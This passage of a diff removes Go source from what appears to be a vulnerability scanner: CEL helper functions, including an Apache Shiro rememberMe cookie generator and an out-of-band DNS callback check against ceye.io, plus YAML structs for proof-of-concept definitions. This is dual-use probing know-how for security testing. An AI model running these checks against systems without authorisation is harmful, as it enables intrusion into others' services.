return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
|
|
||||||
}
|
|
||||||
v2, ok := rhs.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
|
|
||||||
}
|
|
||||||
ok, err := regexp.Match(string(v1), v2)
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.Bool(ok)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "md5_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "randomInt_int_int",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
from, ok := lhs.(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
|
|
||||||
}
|
|
||||||
to, ok := rhs.(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
|
||||||
}
|
|
||||||
min, max := int(from), int(to)
|
|
||||||
return types.Int(rand.Intn(max-min) + min)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "randomLowercase_int",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
n, ok := value.(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(randomLowercase(int(n)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "randomUppercase_int",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
n, ok := value.(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(randomUppercase(int(n)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "base64_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "base64_bytes",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(base64.StdEncoding.EncodeToString(v))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "base64Decode_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
|
|
||||||
}
|
|
||||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.String(decodeBytes)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "base64Decode_bytes",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
|
|
||||||
}
|
|
||||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.String(decodeBytes)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "urlencode_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(url.QueryEscape(string(v)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "urlencode_bytes",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(url.QueryEscape(string(v)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "urldecode_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
|
|
||||||
}
|
|
||||||
decodeString, err := url.QueryUnescape(string(v))
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.String(decodeString)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "urldecode_bytes",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
|
|
||||||
}
|
|
||||||
decodeString, err := url.QueryUnescape(string(v))
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.String(decodeString)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "substr_string_int_int",
|
|
||||||
Function: func(values ...ref.Val) ref.Val {
|
|
||||||
if len(values) == 3 {
|
|
||||||
str, ok := values[0].(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.NewErr("invalid string to 'substr'")
|
|
||||||
}
|
|
||||||
start, ok := values[1].(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.NewErr("invalid start to 'substr'")
|
|
||||||
}
|
|
||||||
length, ok := values[2].(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.NewErr("invalid length to 'substr'")
|
|
||||||
}
|
|
||||||
runes := []rune(str)
|
|
||||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
|
||||||
return types.NewErr("invalid start or length to 'substr'")
|
|
||||||
}
|
|
||||||
return types.String(runes[start : start+length])
|
|
||||||
} else {
|
|
||||||
return types.NewErr("too many arguments to 'substr'")
|
|
||||||
}
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "reverse_wait_int",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
reverse, ok := lhs.Value().(*Reverse)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
|
|
||||||
}
|
|
||||||
timeout, ok := rhs.Value().(int64)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
|
|
||||||
}
|
|
||||||
return types.Bool(reverseCheck(reverse, timeout))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "icontains_string",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
|
||||||
}
|
|
||||||
v2, ok := rhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
|
||||||
}
|
|
||||||
// 不区分大小写包含
|
|
||||||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "tongda_date",
|
|
||||||
Function: func(value ...ref.Val) ref.Val {
|
|
||||||
return types.String(time.Now().Format("0601"))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "shiro_key",
|
|
||||||
Binary: func(key ref.Val, mode ref.Val) ref.Val {
|
|
||||||
v1, ok := key.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
|
|
||||||
}
|
|
||||||
v2, ok := mode.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
|
|
||||||
}
|
|
||||||
cookie := GetShrioCookie(string(v1), string(v2))
|
|
||||||
if cookie == "" {
|
|
||||||
return types.NewErr("%v", "key b64decode failed")
|
|
||||||
}
|
|
||||||
return types.String(cookie)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "startsWith_bytes",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
|
|
||||||
}
|
|
||||||
v2, ok := rhs.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
|
|
||||||
}
|
|
||||||
// 不区分大小写包含
|
|
||||||
return types.Bool(bytes.HasPrefix(v1, v2))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "startsWith_string",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
|
|
||||||
}
|
|
||||||
v2, ok := rhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
|
|
||||||
}
|
|
||||||
// 不区分大小写包含
|
|
||||||
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "hexdecode",
|
|
||||||
Unary: func(lhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
|
|
||||||
}
|
|
||||||
out, err := hex.DecodeString(string(v1))
|
|
||||||
if err != nil {
|
|
||||||
return types.ValOrErr(lhs, "hexdecode error: %v", err)
|
|
||||||
}
|
|
||||||
// 不区分大小写包含
|
|
||||||
return types.Bytes(out)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
),
|
|
||||||
}
|
|
||||||
return c
|
|
||||||
}
|
|
||||||
|
|
||||||
// 声明环境中的变量类型和函数
|
|
||||||
func (c *CustomLib) CompileOptions() []cel.EnvOption {
|
|
||||||
return c.envOptions
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
|
||||||
return c.programOptions
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
|
|
||||||
for _, item := range args {
|
|
||||||
k, v := item.Key, item.Value
|
|
||||||
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
|
|
||||||
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
|
|
||||||
var d *exprpb.Decl
|
|
||||||
if strings.HasPrefix(v, "randomInt") {
|
|
||||||
d = decls.NewIdent(k, decls.Int, nil)
|
|
||||||
} else if strings.HasPrefix(v, "newReverse") {
|
|
||||||
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
|
|
||||||
} else {
|
|
||||||
d = decls.NewIdent(k, decls.String, nil)
|
|
||||||
}
|
|
||||||
c.envOptions = append(c.envOptions, cel.Declarations(d))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
|
|
||||||
|
|
||||||
func randomLowercase(n int) string {
|
|
||||||
lowercase := "abcdefghijklmnopqrstuvwxyz"
|
|
||||||
return RandomStr(randSource, lowercase, n)
|
|
||||||
}
|
|
||||||
|
|
||||||
func randomUppercase(n int) string {
|
|
||||||
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
||||||
return RandomStr(randSource, lowercase, n)
|
|
||||||
}
|
|
||||||
|
|
||||||
func reverseCheck(r *Reverse, timeout int64) bool {
|
|
||||||
if ceyeApi == "" || r.Domain == "" {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
time.Sleep(time.Second * time.Duration(timeout))
|
|
||||||
sub := strings.Split(r.Domain, ".")[0]
|
|
||||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
|
||||||
//fmt.Println(urlStr)
|
|
||||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
|
||||||
resp, err := DoRequest(req, false)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
|
||||||
const (
|
|
||||||
letterIdxBits = 6 // 6 bits to represent a letter index
|
|
||||||
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
|
|
||||||
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
|
|
||||||
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
||||||
)
|
|
||||||
randBytes := make([]byte, n)
|
|
||||||
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
|
|
||||||
if remain == 0 {
|
|
||||||
cache, remain = randSource.Int63(), letterIdxMax
|
|
||||||
}
|
|
||||||
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
|
|
||||||
randBytes[i] = letterBytes[idx]
|
|
||||||
i--
|
|
||||||
}
|
|
||||||
cache >>= letterIdxBits
|
|
||||||
remain--
|
|
||||||
}
|
|
||||||
return string(randBytes)
|
|
||||||
}
|
|
||||||
|
|
||||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
|
||||||
if req.Body == nil || req.Body == http.NoBody {
|
|
||||||
} else {
|
|
||||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
|
||||||
if req.Header.Get("Content-Type") == "" {
|
|
||||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
var oResp *http.Response
|
|
||||||
var err error
|
|
||||||
if redirect {
|
|
||||||
oResp, err = Client.Do(req)
|
|
||||||
} else {
|
|
||||||
oResp, err = ClientNoRedirect.Do(req)
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Println("[-]DoRequest error: ",err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer oResp.Body.Close()
|
|
||||||
resp, err := ParseResponse(oResp)
|
|
||||||
if err != nil {
|
|
||||||
common.LogError("[-]ParseResponse error: " + err.Error())
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return resp, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseUrl(u *url.URL) *UrlType {
|
|
||||||
nu := &UrlType{}
|
|
||||||
nu.Scheme = u.Scheme
|
|
||||||
nu.Domain = u.Hostname()
|
|
||||||
nu.Host = u.Host
|
|
||||||
nu.Port = u.Port()
|
|
||||||
nu.Path = u.EscapedPath()
|
|
||||||
nu.Query = u.RawQuery
|
|
||||||
nu.Fragment = u.Fragment
|
|
||||||
return nu
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
|
||||||
req := &Request{}
|
|
||||||
req.Method = oReq.Method
|
|
||||||
req.Url = ParseUrl(oReq.URL)
|
|
||||||
header := make(map[string]string)
|
|
||||||
for k := range oReq.Header {
|
|
||||||
header[k] = oReq.Header.Get(k)
|
|
||||||
}
|
|
||||||
req.Headers = header
|
|
||||||
req.ContentType = oReq.Header.Get("Content-Type")
|
|
||||||
if oReq.Body == nil || oReq.Body == http.NoBody {
|
|
||||||
} else {
|
|
||||||
data, err := ioutil.ReadAll(oReq.Body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
req.Body = data
|
|
||||||
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
|
|
||||||
}
|
|
||||||
return req, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
|
||||||
var resp Response
|
|
||||||
header := make(map[string]string)
|
|
||||||
resp.Status = int32(oResp.StatusCode)
|
|
||||||
resp.Url = ParseUrl(oResp.Request.URL)
|
|
||||||
for k := range oResp.Header {
|
|
||||||
header[k] = strings.Join(oResp.Header.Values(k), ";")
|
|
||||||
}
|
|
||||||
resp.Headers = header
|
|
||||||
resp.ContentType = oResp.Header.Get("Content-Type")
|
|
||||||
body, err := getRespBody(oResp)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
resp.Body = body
|
|
||||||
return &resp, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
|
||||||
var body []byte
|
|
||||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
|
||||||
gr, err := gzip.NewReader(oResp.Body)
|
|
||||||
if err != nil {
|
|
||||||
if err == io.EOF {
|
|
||||||
err = nil
|
|
||||||
}
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer gr.Close()
|
|
||||||
for {
|
|
||||||
buf := make([]byte, 1024)
|
|
||||||
n, err := gr.Read(buf)
|
|
||||||
if err != nil && err != io.EOF {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
if n == 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
body = append(body, buf...)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, 10240))
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer oResp.Body.Close()
|
|
||||||
body = raw
|
|
||||||
}
|
|
||||||
return body, nil
|
|
||||||
}
|
|
||||||
@@ -1,521 +0,0 @@
|
|||||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
|
||||||
// source: http.proto
|
|
||||||
|
|
||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"embed"
|
|
||||||
"fmt"
|
|
||||||
"github.com/golang/protobuf/proto"
|
|
||||||
"gopkg.in/yaml.v2"
|
|
||||||
"io/ioutil"
|
|
||||||
"math"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Poc struct {
|
|
||||||
Name string `yaml:"name"`
|
|
||||||
Set StrMap `yaml:"set"`
|
|
||||||
Sets ListMap `yaml:"sets"`
|
|
||||||
Rules []Rules `yaml:"rules"`
|
|
||||||
Groups RuleMap `yaml:"groups"`
|
|
||||||
Detail Detail `yaml:"detail"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type MapSlice = yaml.MapSlice
|
|
||||||
|
|
||||||
type StrMap []StrItem
|
|
||||||
type ListMap []ListItem
|
|
||||||
type RuleMap []RuleItem
|
|
||||||
|
|
||||||
type StrItem struct {
|
|
||||||
Key, Value string
|
|
||||||
}
|
|
||||||
|
|
||||||
type ListItem struct {
|
|
||||||
Key string
|
|
||||||
Value []string
|
|
||||||
}
|
|
||||||
|
|
||||||
type RuleItem struct {
|
|
||||||
Key string
|
|
||||||
Value []Rules
|
|
||||||
}
|
|
||||||
|
|
||||||
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
|
||||||
var tmp yaml.MapSlice
|
|
||||||
if err := unmarshal(&tmp); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
for _, one := range tmp {
|
|
||||||
key, value := one.Key.(string), one.Value.(string)
|
|
||||||
*r = append(*r, StrItem{key, value})
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
|
||||||
// var tmp yaml.MapSlice
|
|
||||||
// if err := unmarshal(&tmp); err != nil {
|
|
||||||
// return err
|
|
||||||
// }
|
|
||||||
// //for _,one := range tmp{
|
|
||||||
// // key,value := one.Key.(string),one.Value.(string)
|
|
||||||
// // *r = append(*r,StrItem{key,value})
|
|
||||||
// //}
|
|
||||||
// return nil
|
|
||||||
//}
|
|
||||||
|
|
||||||
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
|
||||||
var tmp1 yaml.MapSlice
|
|
||||||
if err := unmarshal(&tmp1); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
var tmp = make(map[string][]Rules)
|
|
||||||
if err := unmarshal(&tmp); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, one := range tmp1 {
|
|
||||||
key := one.Key.(string)
|
|
||||||
value := tmp[key]
|
|
||||||
*r = append(*r, RuleItem{key, value})
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
|
||||||
var tmp yaml.MapSlice
|
|
||||||
if err := unmarshal(&tmp); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
for _, one := range tmp {
|
|
||||||
key := one.Key.(string)
|
|
||||||
var value []string
|
|
||||||
for _, val := range one.Value.([]interface{}) {
|
|
||||||
v := fmt.Sprintf("%v", val)
|
|
||||||
value = append(value, v)
|
|
||||||
}
|
|
||||||
*r = append(*r, ListItem{key, value})
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
type Rules struct {
|
|
||||||
Method string `yaml:"method"`
|
|
||||||
Path string `yaml:"path"`
|
|
||||||
Headers map[string]string `yaml:"headers"`
|
|
||||||
Body string `yaml:"body"`
|
|
||||||
Search string `yaml:"search"`
|
|
||||||
FollowRedirects bool `yaml:"follow_redirects"`
|
|
||||||
Expression string `yaml:"expression"`
|
|
||||||
Continue bool `yaml:"continue"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type Detail struct {
|
|
||||||
Author string `yaml:"author"`
|
|
||||||
Links []string `yaml:"links"`
|
|
||||||
Description string `yaml:"description"`
|
|
||||||
Version string `yaml:"version"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reference imports to suppress errors if they are not otherwise used.
|
|
||||||
var _ = proto.Marshal
|
|
||||||
var _ = fmt.Errorf
|
|
||||||
var _ = math.Inf
|
|
||||||
|
|
||||||
// This is a compile-time assertion to ensure that this generated file
|
|
||||||
// is compatible with the proto package it is being compiled against.
|
|
||||||
// A compilation error at this line likely means your copy of the
|
|
||||||
// proto package needs to be updated.
|
|
||||||
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
|
|
||||||
|
|
||||||
type UrlType struct {
|
|
||||||
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
|
|
||||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
|
||||||
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
|
|
||||||
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
|
|
||||||
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
|
|
||||||
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
|
|
||||||
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
|
|
||||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
|
||||||
XXX_unrecognized []byte `json:"-"`
|
|
||||||
XXX_sizecache int32 `json:"-"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) Reset() { *m = UrlType{} }
|
|
||||||
func (m *UrlType) String() string { return proto.CompactTextString(m) }
|
|
||||||
func (*UrlType) ProtoMessage() {}
|
|
||||||
func (*UrlType) Descriptor() ([]byte, []int) {
|
|
||||||
return fileDescriptor_11b04836674e6f94, []int{0}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) XXX_Unmarshal(b []byte) error {
|
|
||||||
return xxx_messageInfo_UrlType.Unmarshal(m, b)
|
|
||||||
}
|
|
||||||
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
|
||||||
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
|
|
||||||
}
|
|
||||||
func (m *UrlType) XXX_Merge(src proto.Message) {
|
|
||||||
xxx_messageInfo_UrlType.Merge(m, src)
|
|
||||||
}
|
|
||||||
func (m *UrlType) XXX_Size() int {
|
|
||||||
return xxx_messageInfo_UrlType.Size(m)
|
|
||||||
}
|
|
||||||
func (m *UrlType) XXX_DiscardUnknown() {
|
|
||||||
xxx_messageInfo_UrlType.DiscardUnknown(m)
|
|
||||||
}
|
|
||||||
|
|
||||||
var xxx_messageInfo_UrlType proto.InternalMessageInfo
|
|
||||||
|
|
||||||
func (m *UrlType) GetScheme() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Scheme
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetDomain() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Domain
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetHost() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Host
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetPort() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Port
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetPath() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Path
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetQuery() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Query
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *UrlType) GetFragment() string {
|
|
||||||
if m != nil {
|
|
||||||
return m.Fragment
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
type Request struct {
|
|
||||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
|
||||||
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
|
|
||||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
|
||||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
|
||||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
|
||||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
|
||||||
XXX_unrecognized []byte `json:"-"`
|
|
||||||
XXX_sizecache int32 `json:"-"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) Reset() { *m = Request{} }
|
|
||||||
func (m *Request) String() string { return proto.CompactTextString(m) }
|
|
||||||
func (*Request) ProtoMessage() {}
|
|
||||||
func (*Request) Descriptor() ([]byte, []int) {
|
|
||||||
return fileDescriptor_11b04836674e6f94, []int{1}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *Request) XXX_Unmarshal(b []byte) error {
|
|
||||||
return xxx_messageInfo_Request.Unmarshal(m, b)
|
|
||||||
}
|
|
||||||
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
|
||||||
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
|
|
||||||
}
|
|
||||||
func (m *Request) XXX_Merge(src proto.Message) {
|
|
||||||
xxx_messageInfo_Request.Merge(m, src)
|
|
||||||
}
|
|
||||||
func (m *Request) XXX_Size() int {
|
|
||||||
